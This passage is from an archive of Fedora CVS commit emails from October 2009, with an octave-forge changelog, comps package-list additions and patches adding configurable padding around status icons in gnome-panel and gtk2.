+  packages with subminor versions (thanks Dmitri Sergatskov)
+- Add patch from upstream SVN (r5936) to build fixed-0.7.10 package 
+- Renumber patches
+
+* Mon Aug 31 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-10
+- Re-enable parallel package, fixed in upstream SVN (diff r5742:6118)
+- Disable include patch, now part of parallel patch
+
+* Mon Aug 31 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-9
+- Temporarily disable java build again
+
+* Thu Aug 20 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-8
+- Add patch from upstream SVN (r6098) to fix 'java' build.
+- Disable spanish package: doesn't build with Octave 3.2
+
+* Thu Aug 20 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-7
+- More build failures: remove java, report upstream as (yet) another
+  broken package.
+
+* Wed Aug 19 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-6
+- More build failures: temporarily disable graceplot, report upstream
+  as (yet) another broken package.
+
+* Wed Aug 19 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-5
+- Disable 'parallel' and associated patches temporarily just to get
+  the whole thing to build and fix broken deps (upstream working on
+  it)
+
+* Wed Aug 19 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-4
+- Add patch from SVN upstream (r6116) to fix build of parallel package
+  (bump version of package to 2.0.1)
+
+* Tue Aug 18 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-3
+- Temporarily remove ftp because of build problems with SWIG upstream.
+
+* Sat Aug  1 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-2
+- Add patch from SVN (r6006) which has SWIG fixes for ann module.
+
+* Fri Jul 31 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-1
+- Apply patch from Jussi Lehtola <jussilehtola at fedoraproject.org> to
+  update to 20090607
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 20080831-10
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Jul  9 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20080831-9
+- Rebuild for dependencies
+
 * Sat Mar 28 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 20080831-8
 - Rebuild for new ginac.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/octave-forge/F-11/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	9 Sep 2008 17:59:42 -0000	1.14
+++ sources	18 Oct 2009 03:27:51 -0000	1.15
@@ -1 +1 @@
-5df8ff572c9b990e404ba94a6724c898  octave-forge-bundle-20080831.patched.tar.gz
+ae1c9fd282e66e6e1bee2535963e6d6e  octave-forge-bundle-20090607.patched.tar.gz



From adsllc at fedoraproject.org  Sun Oct 18 03:43:32 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Sun, 18 Oct 2009 03:43:32 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.279, 1.280 comps-f11.xml.in, 1.310,
	1.311 comps-f12.xml.in, 1.157, 1.158 comps-f13.xml.in, 1.44, 1.45
Message-ID: <20091018034332.5C1ED11C00E8@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16380

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
Add mingw32-proj and drehatlas-widelands-fonts



Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.279
retrieving revision 1.280
diff -u -p -r1.279 -r1.280
--- comps-f10.xml.in	14 Oct 2009 00:28:54 -0000	1.279
+++ comps-f10.xml.in	18 Oct 2009 03:43:31 -0000	1.280
@@ -1460,6 +1460,7 @@
       <packagereq type="optional">darkgarden-fonts</packagereq>
       <packagereq type="optional">dejavu-lgc-fonts</packagereq>
       <packagereq type="optional">doulos-fonts</packagereq>
+      <packagereq type="optional">drehatlas-widelands-fonts</packagereq>
       <packagereq type="optional">ecolier-court-fonts</packagereq>
       <packagereq type="optional">edrip-fonts</packagereq>
       <packagereq type="optional">fonts-truetype-apl</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.310
retrieving revision 1.311
diff -u -p -r1.310 -r1.311
--- comps-f11.xml.in	15 Oct 2009 21:17:19 -0000	1.310
+++ comps-f11.xml.in	18 Oct 2009 03:43:31 -0000	1.311
@@ -1716,6 +1716,7 @@
       <packagereq type="optional">dejavu-lgc-sans-mono-fonts</packagereq>
       <packagereq type="optional">dejavu-lgc-serif-fonts</packagereq>
       <packagereq type="optional">denemo-music-fonts</packagereq>
+      <packagereq type="optional">drehatlas-widelands-fonts</packagereq>
       <packagereq type="optional">dustin-domestic-manners-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-roman-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-sans-fonts</packagereq>
@@ -4103,6 +4104,7 @@
       <packagereq type="optional">mingw32-openssl</packagereq>
       <packagereq type="optional">mingw32-pdcurses</packagereq>
       <packagereq type="optional">mingw32-pixman</packagereq>
+      <packagereq type="optional">mingw32-proj</packagereq>
       <packagereq type="optional">mingw32-pthreads</packagereq>
       <packagereq type="optional">mingw32-readline</packagereq>
       <packagereq type="optional">mingw32-SDL</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.157
retrieving revision 1.158
diff -u -p -r1.157 -r1.158
--- comps-f12.xml.in	17 Oct 2009 20:18:36 -0000	1.157
+++ comps-f12.xml.in	18 Oct 2009 03:43:31 -0000	1.158
@@ -1881,6 +1881,7 @@
       <packagereq type="optional">dejavu-lgc-sans-mono-fonts</packagereq>
       <packagereq type="optional">dejavu-lgc-serif-fonts</packagereq>
       <packagereq type="optional">denemo-music-fonts</packagereq>
+      <packagereq type="optional">drehatlas-widelands-fonts</packagereq>
       <packagereq type="optional">dustin-domestic-manners-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-roman-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-sans-fonts</packagereq>
@@ -4301,6 +4302,7 @@
       <packagereq type="optional">mingw32-openssl</packagereq>
       <packagereq type="optional">mingw32-pdcurses</packagereq>
       <packagereq type="optional">mingw32-pixman</packagereq>
+      <packagereq type="optional">mingw32-proj</packagereq>
       <packagereq type="optional">mingw32-pthreads</packagereq>
       <packagereq type="optional">mingw32-readline</packagereq>
       <packagereq type="optional">mingw32-SDL</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- comps-f13.xml.in	17 Oct 2009 20:18:36 -0000	1.44
+++ comps-f13.xml.in	18 Oct 2009 03:43:31 -0000	1.45
@@ -1872,6 +1872,7 @@
       <packagereq type="optional">dejavu-lgc-sans-mono-fonts</packagereq>
       <packagereq type="optional">dejavu-lgc-serif-fonts</packagereq>
       <packagereq type="optional">denemo-music-fonts</packagereq>
+      <packagereq type="optional">drehatlas-widelands-fonts</packagereq>
       <packagereq type="optional">dustin-domestic-manners-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-roman-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-sans-fonts</packagereq>
@@ -4275,6 +4276,7 @@
       <packagereq type="optional">mingw32-openssl</packagereq>
       <packagereq type="optional">mingw32-pdcurses</packagereq>
       <packagereq type="optional">mingw32-pixman</packagereq>
+      <packagereq type="optional">mingw32-proj</packagereq>
       <packagereq type="optional">mingw32-pthreads</packagereq>
       <packagereq type="optional">mingw32-readline</packagereq>
       <packagereq type="optional">mingw32-SDL</packagereq>



From mclasen at fedoraproject.org  Sun Oct 18 03:54:48 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sun, 18 Oct 2009 03:54:48 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 icon-padding.patch, NONE, 1.1 gnome-panel.spec,
	1.375, 1.376 redhat-panel-default-setup.entries, 1.19, 1.20
Message-ID: <20091018035448.BE02C11C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18780

Modified Files:
	gnome-panel.spec redhat-panel-default-setup.entries 
Added Files:
	icon-padding.patch 
Log Message:
Add padding in status icons


icon-padding.patch:
 Makefile.am                         |   18 +++++++++++++++
 main.c                              |   40 ++++++++++++++++++++++++++++++++++-
 na-tray-manager.c                   |   41 ++++++++++++++++++++++++++++++++++++
 na-tray-manager.h                   |    3 ++
 na-tray.c                           |   12 ++++++++++
 na-tray.h                           |    2 +
 notification_area_applet.schemas.in |   17 ++++++++++++++
 7 files changed, 132 insertions(+), 1 deletion(-)

--- NEW FILE icon-padding.patch ---
diff -u -r gnome-panel-2.28.0/applets/notification_area/main.c hacked/applets/notification_area/main.c
--- gnome-panel-2.28.0/applets/notification_area/main.c	2009-07-01 09:06:23.000000000 -0400
+++ hacked/applets/notification_area/main.c	2009-10-17 23:06:01.001313433 -0400
@@ -25,6 +25,7 @@
 
 #include <panel-applet.h>
 #include <panel-applet-gconf.h>
+#include <gconf/gconf-client.h>
 
 #include <glib/gi18n.h>
 #include <gtk/gtk.h>
@@ -34,6 +35,7 @@
 #include "fixedtip.h"
 
 #define NOTIFICATION_AREA_ICON "gnome-panel-notification-area"
+#define SCHEMA_DIR "/schemas/apps/notification_area_applet/prefs"
 
 typedef struct
 {
@@ -231,6 +233,39 @@
   gtk_widget_set_name (widget, "na-tray");
 }
 
+static void
+padding_changed (GConfClient *client,
+                 guint        cnxn_id,
+                 GConfEntry  *entry,
+                 gpointer     user_data)
+{
+  AppletData *data = user_data;
+  gint value;
+
+  if (!entry->value || entry->value->type != GCONF_VALUE_INT)
+    return;
+
+  value = gconf_value_get_int (entry->value);
+
+  na_tray_set_padding (data->tray, value);
+}
+
+static void
+setup_gconf (AppletData *data)
+{
+  GConfClient *client;
+  char *key;
+  int value;
+
+  client = gconf_client_get_default ();
+  key = panel_applet_gconf_get_full_key (data->applet, "padding");
+  value = gconf_client_get_int (client, key, NULL);
+  na_tray_set_padding (data->tray, value);
+  gconf_client_notify_add (client, key, padding_changed, data, NULL, NULL);
+  g_free (key);
+  g_object_unref (client);
+}
+
 static gboolean
 applet_factory (PanelApplet *applet,
                 const gchar *iid,
@@ -260,9 +295,10 @@
   atko = gtk_widget_get_accessible (GTK_WIDGET (applet));
   atk_object_set_name (atko, _("Panel Notification Area"));
 
+  panel_applet_add_preferences (applet, SCHEMA_DIR, NULL);
   panel_applet_set_flags (applet,
                           PANEL_APPLET_HAS_HANDLE|PANEL_APPLET_EXPAND_MINOR);
-  
+
   g_signal_connect (applet, "change_orient",
                     G_CALLBACK (applet_change_orientation), data);
   g_signal_connect (applet, "change_background",
@@ -270,6 +306,8 @@
   g_signal_connect (applet, "destroy",
 		    G_CALLBACK (applet_destroy), data);
 
+  setup_gconf (data);
+
   panel_applet_set_background_widget (applet, GTK_WIDGET (applet));
 
   gtk_container_add (GTK_CONTAINER (applet), GTK_WIDGET (tray));
diff -u -r gnome-panel-2.28.0/applets/notification_area/Makefile.am hacked/applets/notification_area/Makefile.am
--- gnome-panel-2.28.0/applets/notification_area/Makefile.am	2009-07-21 13:25:43.000000000 -0400
+++ hacked/applets/notification_area/Makefile.am	2009-10-17 23:16:42.401072682 -0400
@@ -66,6 +66,24 @@
 
 @INTLTOOL_SERVER_RULE@
 
+schemasdir       = $(GCONF_SCHEMA_FILE_DIR)
+schemas_in_files = notification_area_applet.schemas.in
+schemas_DATA     = $(schemas_in_files:.schemas.in=.schemas)
+
+ at INTLTOOL_SCHEMAS_RULE@
+
+if GCONF_SCHEMAS_INSTALL
+# don't do this if we are building in eg. rpm
+install-data-local:
+	if test -z "$(DESTDIR)" ; then \
+		for p in $(schemas_DATA) ; do \
+			GCONF_CONFIG_SOURCE=$(GCONF_SCHEMA_CONFIG_SOURCE) $(GCONFTOOL) --makefile-install-rule $(top_builddir)/applets/clock/$$p ; \
+		done \
+	fi
+else
+install-data-local:
+endif
+
 uidir = $(datadir)/gnome-2.0/ui
 ui_DATA = GNOME_NotificationAreaApplet.xml
 
diff -u -r gnome-panel-2.28.0/applets/notification_area/na-tray.c hacked/applets/notification_area/na-tray.c
--- gnome-panel-2.28.0/applets/notification_area/na-tray.c	2009-10-17 23:22:01.095308064 -0400
+++ hacked/applets/notification_area/na-tray.c	2009-10-17 23:00:01.304062848 -0400
@@ -602,6 +602,8 @@
         {
           trays_screens [screen_number].tray_manager = tray_manager;
 
+          na_tray_manager_set_padding (tray_manager, 0);
+
           g_signal_connect (tray_manager, "tray_icon_added",
                             G_CALLBACK (tray_added),
                             &trays_screens [screen_number]);
@@ -804,6 +806,16 @@
 }
 
 void
+na_tray_set_padding (NaTray *tray,
+                     gint    padding)
+{
+  NaTrayPrivate *priv = tray->priv;
+
+  if (get_tray (priv->trays_screen) == tray)
+    na_tray_manager_set_padding (priv->trays_screen->tray_manager, padding);
+}
+
+void
 na_tray_force_redraw (NaTray *tray)
 {
   NaTrayPrivate *priv = tray->priv;
diff -u -r gnome-panel-2.28.0/applets/notification_area/na-tray.h hacked/applets/notification_area/na-tray.h
--- gnome-panel-2.28.0/applets/notification_area/na-tray.h	2009-04-19 13:45:09.000000000 -0400
+++ hacked/applets/notification_area/na-tray.h	2009-10-17 23:00:30.491375187 -0400
@@ -60,6 +60,8 @@
 void            na_tray_set_orientation	(NaTray        *tray,
 					 GtkOrientation orientation);
 GtkOrientation  na_tray_get_orientation (NaTray        *tray);
+void            na_tray_set_padding     (NaTray        *tray,
+                                         gint           padding);
 void		na_tray_force_redraw	(NaTray        *tray);
 
 G_END_DECLS
diff -u -r gnome-panel-2.28.0/applets/notification_area/na-tray-manager.c hacked/applets/notification_area/na-tray-manager.c
--- gnome-panel-2.28.0/applets/notification_area/na-tray-manager.c	2009-07-27 08:01:39.000000000 -0400
+++ hacked/applets/notification_area/na-tray-manager.c	2009-10-17 21:55:00.582062966 -0400
@@ -653,6 +653,32 @@
 #endif
 }
 
+static void
+na_tray_manager_set_padding_property (NaTrayManager *manager)
+{
+#ifdef GDK_WINDOWING_X11
+  GdkDisplay *display;
+  Atom        orientation_atom;
+  gulong      data[1];
+
+  if (!manager->invisible || !manager->invisible->window)
+    return;
+
+  display = gtk_widget_get_display (manager->invisible);
+  orientation_atom = gdk_x11_get_xatom_by_name_for_display (display,
+                                                            "_NET_SYSTEM_TRAY_PADDING");
+
+  data[0] = manager->padding;
+
+  XChangeProperty (GDK_DISPLAY_XDISPLAY (display),
+		   GDK_WINDOW_XWINDOW (manager->invisible->window),
+                   orientation_atom,
+		   XA_CARDINAL, 32,
+		   PropModeReplace,
+		   (guchar *) &data, 1);
+#endif
+}
+
 #ifdef GDK_WINDOWING_X11
 
 static gboolean
@@ -697,6 +723,7 @@
 
   na_tray_manager_set_orientation_property (manager);
   na_tray_manager_set_visual_property (manager);
+  na_tray_manager_set_padding_property (manager);
   
   timestamp = gdk_x11_get_server_time (invisible->window);
 
@@ -836,6 +863,20 @@
     }
 }
 
+void
+na_tray_manager_set_padding (NaTrayManager *manager,
+                             gint           padding)
+{
+  g_return_if_fail (NA_IS_TRAY_MANAGER (manager));
+
+  if (manager->padding != padding)
+    {
+      manager->padding = padding;
+
+      na_tray_manager_set_padding_property (manager);
+    }
+}
+
 GtkOrientation
 na_tray_manager_get_orientation (NaTrayManager *manager)
 {
diff -u -r gnome-panel-2.28.0/applets/notification_area/na-tray-manager.h hacked/applets/notification_area/na-tray-manager.h
--- gnome-panel-2.28.0/applets/notification_area/na-tray-manager.h	2009-04-19 13:45:09.000000000 -0400
+++ hacked/applets/notification_area/na-tray-manager.h	2009-10-17 21:55:42.646312700 -0400
@@ -55,6 +55,7 @@
   GtkWidget *invisible;
   GdkScreen *screen;
   GtkOrientation orientation;
+  gint padding;
 
   GList *messages;
   GHashTable *socket_table;
@@ -91,6 +92,8 @@
 void            na_tray_manager_set_orientation (NaTrayManager      *manager,
 						 GtkOrientation      orientation);
 GtkOrientation  na_tray_manager_get_orientation (NaTrayManager      *manager);
+void            na_tray_manager_set_padding      (NaTrayManager      *manager,
+						  gint                padding);
 
 G_END_DECLS
 
diff -u -r gnome-panel-2.28.0/applets/notification_area/notification_area_applet.schemas.in hacked/applets/notification_area/notification_area_applet.schemas.in
--- gnome-panel-2.28.0/applets/notification_area/notification_area_applet.schemas.in	2009-10-17 23:23:41.071058057 -0400
+++ hacked/applets/notification_area/notification_area_applet.schemas.in	2009-10-17 23:21:38.588316399 -0400
@@ -0,0 +1,17 @@
+<?xml version="1.0"?>
+<gconfschemafile>
+    <schemalist>
+      <schema>
+        <key>/schemas/apps/notification_area_applet/prefs/padding</key>
+        <owner>notification-area-applet</owner>
+        <type>int</type>
+        <default>0</default>
+        <locale name="C">
+          <short>Padding</short>
+          <long>
+            This key specifies padding to be put around status icons.
+          </long>
+        </locale>
+      </schema>
+    </schemalist>
+</gconfschemafile>


Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.375
retrieving revision 1.376
diff -u -p -r1.375 -r1.376
--- gnome-panel.spec	16 Oct 2009 05:49:18 -0000	1.375
+++ gnome-panel.spec	18 Oct 2009 03:54:45 -0000	1.376
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 6%{?dist}
+Release: 7%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -123,6 +123,9 @@ Patch43: panel-padding.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=583115
 Patch44: icon-order.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=583273
+Patch45: icon-padding.patch
+
 Conflicts: gnome-power-manager < 2.15.3
 
 %description
@@ -173,6 +176,7 @@ Panel Applets using the libpanel-applet 
 %patch42 -p1 -b .randr-crashes
 %patch43 -p1 -b .panel-padding
 %patch44 -p1 -b .icon-order
+%patch45 -p1 -b .icon-padding
 
 . %{SOURCE6}
 
@@ -278,6 +282,7 @@ gconftool-2 --makefile-install-rule \
 	%{_sysconfdir}/gconf/schemas/tasklist.schemas \
 	%{_sysconfdir}/gconf/schemas/window-list.schemas \
 	%{_sysconfdir}/gconf/schemas/workspace-switcher.schemas \
+	%{_sysconfdir}/gconf/schemas/notification_area_applet.schemas \
   > /dev/null || :
 
 #
@@ -304,6 +309,10 @@ if [ "$1" -gt 1 ]; then
 	%{_sysconfdir}/gconf/schemas/window-list.schemas \
 	%{_sysconfdir}/gconf/schemas/workspace-switcher.schemas \
   > /dev/null || :
+  if [ -f %{_sysconfdir}/gconf/schemas/notification_area_applet.schemas ]; then
+    gconftool-2 --makefile-uninstall-rule \
+	%{_sysconfdir}/gconf/schemas/notification_area_applet.schemas > /dev/null || :
+  fi
 fi
 
 %preun
@@ -322,6 +331,10 @@ if [ "$1" -eq 0 ]; then
 	%{_sysconfdir}/gconf/schemas/window-list.schemas \
 	%{_sysconfdir}/gconf/schemas/workspace-switcher.schemas \
   > /dev/null || :
+  if [ -f %{_sysconfdir}/gconf/schemas/notification_area_applet.schemas ]; then
+    gconftool-2 --makefile-uninstall-rule \
+	%{_sysconfdir}/gconf/schemas/notification_area_applet.schemas > /dev/null || :
+  fi
 fi
 
 %postun
@@ -371,6 +384,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-7
+- Add padding around status icons
+
 * Fri Oct 16 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-6
 - Put status icons in a predictable order
 


Index: redhat-panel-default-setup.entries
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/redhat-panel-default-setup.entries,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- redhat-panel-default-setup.entries	15 Oct 2009 05:32:41 -0000	1.19
+++ redhat-panel-default-setup.entries	18 Oct 2009 03:54:46 -0000	1.20
@@ -551,6 +551,13 @@
         <string>OAFIID:GNOME_SystemTrayApplet</string>
       </value>
     </entry>
+    <entry>
+      <key>applets/systray/prefs/padding</key>
+      <schema_key>/schemas/apps/notification_area_applet/prefs/padding</schema_key>
+      <value>
+        <int>2</int>
+      </value>
+    </entry>
 
     <entry><key>applets/systray/attached_toplevel_id</key><schema_key>/schemas/apps/panel/objects/attached_toplevel_id</schema_key> </entry>
     <entry><key>applets/systray/tooltip</key><schema_key>/schemas/apps/panel/objects/tooltip</schema_key></entry>
@@ -661,7 +668,7 @@
     </entry>
     <entry>
       <key>applets/workspace_switcher/prefs/num_rows</key>
-      <schema_key>/schemas/apps/panel/objects/prefes/num_rows</schema_key>
+      <schema_key>/schemas/apps/workspace_switcher/prefs/num_rows</schema_key>
       <value>
         <int>1</int>
       </value>



From mclasen at fedoraproject.org  Sun Oct 18 03:59:14 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sun, 18 Oct 2009 03:59:14 +0000 (UTC)
Subject: rpms/gtk2/F-12 icon-padding.patch,NONE,1.1 gtk2.spec,1.413,1.414
Message-ID: <20091018035914.306A111C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20478

Modified Files:
	gtk2.spec 
Added Files:
	icon-padding.patch 
Log Message:
Allow padding around statusicons


icon-padding.patch:
 gtkstatusicon.c   |   25 ++++++++++++++
 gtktrayicon-x11.c |   92 +++++++++++++++++++++++++++++++++++++++++++++++++++---
 gtktrayicon.h     |    3 +
 3 files changed, 114 insertions(+), 6 deletions(-)

--- NEW FILE icon-padding.patch ---
diff --git a/gtk/gtkstatusicon.c b/gtk/gtkstatusicon.c
index 1cdb0c1..62b3913 100644
--- a/gtk/gtkstatusicon.c
+++ b/gtk/gtkstatusicon.c
@@ -170,6 +170,7 @@ static void     gtk_status_icon_screen_changed   (GtkStatusIcon  *status_icon,
 						  GdkScreen      *old_screen);
 static void     gtk_status_icon_embedded_changed (GtkStatusIcon *status_icon);
 static void     gtk_status_icon_orientation_changed (GtkStatusIcon *status_icon);
+static void     gtk_status_icon_padding_changed  (GtkStatusIcon *status_icon);
 static gboolean gtk_status_icon_scroll           (GtkStatusIcon  *status_icon,
 						  GdkEventScroll *event);
 static gboolean gtk_status_icon_query_tooltip    (GtkStatusIcon *status_icon,
@@ -850,6 +851,8 @@ gtk_status_icon_init (GtkStatusIcon *status_icon)
 			    G_CALLBACK (gtk_status_icon_embedded_changed), status_icon);
   g_signal_connect_swapped (priv->tray_icon, "notify::orientation",
 			    G_CALLBACK (gtk_status_icon_orientation_changed), status_icon);
+  g_signal_connect_swapped (priv->tray_icon, "notify::padding",
+			    G_CALLBACK (gtk_status_icon_padding_changed), status_icon);
   g_signal_connect_swapped (priv->tray_icon, "button-press-event",
 			    G_CALLBACK (gtk_status_icon_button_press), status_icon);
   g_signal_connect_swapped (priv->tray_icon, "button-release-event",
@@ -975,6 +978,8 @@ gtk_status_icon_finalize (GObject *object)
   g_signal_handlers_disconnect_by_func (priv->tray_icon,
 			                gtk_status_icon_orientation_changed, status_icon);
   g_signal_handlers_disconnect_by_func (priv->tray_icon,
+			                gtk_status_icon_padding_changed, status_icon);
+  g_signal_handlers_disconnect_by_func (priv->tray_icon,
 			                gtk_status_icon_button_press, status_icon);
   g_signal_handlers_disconnect_by_func (priv->tray_icon,
 			                gtk_status_icon_button_release, status_icon);
@@ -1679,14 +1684,32 @@ gtk_status_icon_screen_changed (GtkStatusIcon *status_icon,
 #ifdef GDK_WINDOWING_X11
 
 static void
+gtk_status_icon_padding_changed (GtkStatusIcon *status_icon)
+{
+  GtkStatusIconPrivate *priv = status_icon->priv;
+  GtkOrientation orientation;
+  gint padding;
+
+  orientation = _gtk_tray_icon_get_orientation (GTK_TRAY_ICON (priv->tray_icon));
+  padding = _gtk_tray_icon_get_padding (GTK_TRAY_ICON (priv->tray_icon));
+
+  if (orientation == GTK_ORIENTATION_HORIZONTAL)
+    gtk_misc_set_padding (GTK_MISC (priv->image), padding, 0);
+  else
+    gtk_misc_set_padding (GTK_MISC (priv->image), 0, padding);
+}
+
+static void
 gtk_status_icon_embedded_changed (GtkStatusIcon *status_icon)
 {
+  gtk_status_icon_padding_changed (status_icon);
   g_object_notify (G_OBJECT (status_icon), "embedded");
 }
 
 static void
 gtk_status_icon_orientation_changed (GtkStatusIcon *status_icon)
 {
+  gtk_status_icon_padding_changed (status_icon);
   g_object_notify (G_OBJECT (status_icon), "orientation");
 }
 
@@ -1804,7 +1827,7 @@ gtk_status_icon_reset_image_data (GtkStatusIcon *status_icon)
 
       g_object_notify (G_OBJECT (status_icon), "stock");
       break;
-      
+
     case GTK_IMAGE_ICON_NAME:
       g_free (priv->image_data.icon_name);
       priv->image_data.icon_name = NULL;
diff --git a/gtk/gtktrayicon-x11.c b/gtk/gtktrayicon-x11.c
index 32c3140..74413df 100644
--- a/gtk/gtktrayicon-x11.c
+++ b/gtk/gtktrayicon-x11.c
@@ -43,23 +43,26 @@
 
 enum {
   PROP_0,
-  PROP_ORIENTATION
+  PROP_ORIENTATION,
+  PROP_PADDING
 };
 
 struct _GtkTrayIconPrivate
 {
   guint stamp;
-  
+
   Atom selection_atom;
   Atom manager_atom;
   Atom system_tray_opcode_atom;
   Atom orientation_atom;
   Atom visual_atom;
+  Atom padding_atom;
   Window manager_window;
   GdkVisual *manager_visual;
   gboolean manager_visual_rgba;
 
   GtkOrientation orientation;
+  gint padding;
 };
 
 static void gtk_tray_icon_constructed   (GObject     *object);
@@ -113,6 +116,16 @@ gtk_tray_icon_class_init (GtkTrayIconClass *class)
 						      GTK_ORIENTATION_HORIZONTAL,
 						      GTK_PARAM_READABLE));
 
+  g_object_class_install_property (gobject_class,
+				   PROP_PADDING,
+				   g_param_spec_int ("padding",
+						     P_("Padding"),
+						     P_("Padding that should be put around icons in the tray"),
+						     0,
+                                                     G_MAXINT,
+                                                     0,
+						     GTK_PARAM_READABLE));
+
   g_type_class_add_private (class, sizeof (GtkTrayIconPrivate));
 }
 
@@ -124,6 +137,7 @@ gtk_tray_icon_init (GtkTrayIcon *icon)
   
   icon->priv->stamp = 1;
   icon->priv->orientation = GTK_ORIENTATION_HORIZONTAL;
+  icon->priv->padding = 0;
 
   gtk_widget_set_app_paintable (GTK_WIDGET (icon), TRUE);
   gtk_widget_add_events (GTK_WIDGET (icon), GDK_PROPERTY_CHANGE_MASK);
@@ -161,6 +175,10 @@ gtk_tray_icon_constructed (GObject *object)
 					 "_NET_SYSTEM_TRAY_VISUAL",
 					 False);
 
+  icon->priv->padding_atom = XInternAtom (xdisplay,
+					 "_NET_SYSTEM_TRAY_PADDING",
+					 False);
+
   /* Add a root window filter so that we get changes on MANAGER */
   gdk_window_add_filter (root_window,
 			 gtk_tray_icon_manager_filter, icon);
@@ -212,6 +230,9 @@ gtk_tray_icon_get_property (GObject    *object,
     case PROP_ORIENTATION:
       g_value_set_enum (value, icon->priv->orientation);
       break;
+    case PROP_PADDING:
+      g_value_set_int (value, icon->priv->padding);
+      break;
     default:
       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
       break;
@@ -372,9 +393,58 @@ gtk_tray_icon_get_visual_property (GtkTrayIcon *icon)
     XFree (prop.prop);
 }
 
+static void
+gtk_tray_icon_get_padding_property (GtkTrayIcon *icon)
+{
+  GdkScreen *screen = gtk_widget_get_screen (GTK_WIDGET (icon));
+  GdkDisplay *display = gdk_screen_get_display (screen);
+  Display *xdisplay = GDK_DISPLAY_XDISPLAY (display);
+
+  Atom type;
+  int format;
+  union {
+	gulong *prop;
+	guchar *prop_ch;
+  } prop = { NULL };
+  gulong nitems;
+  gulong bytes_after;
+  int error, result;
+
+  g_assert (icon->priv->manager_window != None);
+
+  gdk_error_trap_push ();
+  type = None;
+  result = XGetWindowProperty (xdisplay,
+			       icon->priv->manager_window,
+			       icon->priv->padding_atom,
+			       0, G_MAXLONG, FALSE,
+			       XA_CARDINAL,
+			       &type, &format, &nitems,
+			       &bytes_after, &(prop.prop_ch));
+  error = gdk_error_trap_pop ();
+
+  if (!error && result == Success &&
+      type == XA_CARDINAL && nitems == 1 && format == 32)
+    {
+      gint padding;
+
+      padding = prop.prop[0];
+
+      if (icon->priv->padding != padding)
+	{
+	  icon->priv->padding = padding;
+
+	  g_object_notify (G_OBJECT (icon), "padding");
+	}
+    }
+
+  if (type != None)
+    XFree (prop.prop);
+}
+
 static GdkFilterReturn
-gtk_tray_icon_manager_filter (GdkXEvent *xevent, 
-			      GdkEvent  *event, 
+gtk_tray_icon_manager_filter (GdkXEvent *xevent,
+			      GdkEvent  *event,
 			      gpointer   user_data)
 {
   GtkTrayIcon *icon = user_data;
@@ -399,6 +469,11 @@ gtk_tray_icon_manager_filter (GdkXEvent *xevent,
 
 	  gtk_tray_icon_get_orientation_property (icon);
 	}
+      else if (xev->xany.type == PropertyNotify &&
+               xev->xproperty.atom == icon->priv->padding_atom)
+        {
+          gtk_tray_icon_get_padding_property (icon);
+        }
       else if (xev->xany.type == DestroyNotify)
 	{
           GTK_NOTE (PLUGSOCKET,
@@ -504,6 +579,7 @@ gtk_tray_icon_update_manager_window (GtkTrayIcon *icon)
 
